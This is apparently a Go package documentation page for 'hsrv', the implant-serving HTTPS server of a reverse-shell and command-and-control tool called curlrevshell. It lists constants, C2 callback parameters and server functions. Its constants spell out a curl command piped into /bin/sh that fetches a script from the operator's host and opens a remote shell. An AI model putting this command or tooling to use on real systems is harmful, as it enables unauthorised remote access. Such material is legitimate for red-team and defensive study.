hsrv

package
v0.0.1-beta.4 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Apr 6, 2024 License: BSD-3-Clause Imports: 23 Imported by: 0

README

HTTP Server

Handles the implant side of things.

Documentation

Overview

Package hsrv - HTTP server

Index

Constants

View Source
const (
	// MultiConnectionMessage is returned when an implant tries to connect
	// when one is already connected.
	MultiConnectionMessage = "Eek!"

	// ShellReadyMessage is what we print when both sides of the shell are
	// connected.
	ShellReadyMessage = "Shell is ready to go!"

	// ShellDisconnectedMessage is what we print when both sides of the
	// shell are gone.
	ShellDisconnectedMessage = "Shell is gone :("
)
View Source
const (
	LMDisconnected  = "Disconnected"
	LMFileRequested = "File requested"
	LMNewConnection = "New connection"
	LMShellInput    = "Sent shell input"
	LMShellOutput   = "Shell output"

	LKDirection      = "direction"
	LKFilename       = "filename"
	LKLine           = "line"
	LKOutput         = "output"
	LKStaticFilesDir = "static_files_dir"
)

Log messages and keys.

View Source
const (
	// CertLifespan is how long our self-signed cert lasts.  It's roughly
	// ten years.
	CertLifespan = 365 * 24 * time.Hour

	// CurlFormat prints the start of the curl command used to connect
	// to us.
	CurlFormat = `curl -sk --pinnedpubkey 'sha256//%s' 'https://%s`

	// FileSuffix is added to CurlFormat when telling the user how to get
	// a file.
	FileSuffix = "'"

	// ShellSuffix is added to CurlFormat when telling the user haw to get
	// a shell.
	ShellSuffix = "/c' | /bin/sh"
)
View Source
const (
	LMListening = "Listener started"

	LKError      = "error"
	LKListenAddr = "address"
)

Log messages and keys.

View Source
const (
	ErrorColor     = opshell.ColorRed
	FileColor      = opshell.ColorBlue
	ScriptColor    = opshell.ColorCyan
	ConnectedColor = opshell.ColorGreen
)

Colors for log things

View Source
const C2Param = "c2"

C2Param is a URL parameter or header which may be set in requetss to /c to give the URL to which to call back.

View Source
const HTTPSPort = "443"

HTTPSPort is the default port for HTTPS and won't be added to URLs in generated scripts.

Variables

View Source
var (
	// CertSubject is the subject we use for the generated TLS certificate.
	CertSubject = "curlrevshell"
)
View Source
var DefaultTemplate string

Functions

This section is empty.

Types

type Server

type Server struct {
	// contains filtered or unexported fields
}

Server serves implants over HTTPS.

func New

func New(
	sl *slog.Logger,
	addr string,
	fdir string,
	tmplf string,
	ich <-chan string,
	och chan<- opshell.CLine,
	certFile string,
	cbAddrs []string,
	printIPv6 bool,
) (*Server, func(), error)

New returns a new Server, listening on addr. Call its Do method to start it serving. Call the returned cleanup function to deallocate resources allocated by New. Static files will be served from fdir, if non-empty. If tmplf is non-empty, it is taken as a file from which to read the callback template.

func (*Server) Do

func (s *Server) Do(ctx context.Context) error

Do actually serves HTTPS clients.

func (*Server) ErrorLogf

func (s *Server) ErrorLogf(format string, v ...any)

ErrorLogf sends a error message back.

func (*Server) Logf

func (s *Server) Logf(color opshell.Color, format string, v ...any)

Logf sends a colered message to the shell.

func (*Server) Printf

func (s *Server) Printf(color opshell.Color, format string, v ...any)

Printf sends a colored message to the shell. The shell will ensure it ends in a newline. No timestamp will be printed before the line.

func (*Server) RErrorLogf

func (s *Server) RErrorLogf(r *http.Request, format string, v ...any)

RErrorLogf sends a pink message to the shell with r's remote address.

func (*Server) RLogf

func (s *Server) RLogf(color opshell.Color, r *http.Request, format string, v ...any)

RLogf sends a colored message to the shell with the requetsor's IP address.

type TemplateParams

type TemplateParams struct {
	PubkeyFP string
	URL      string
	ID       string
}

TemplateParams are combined with the callback template to generate the callback script.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL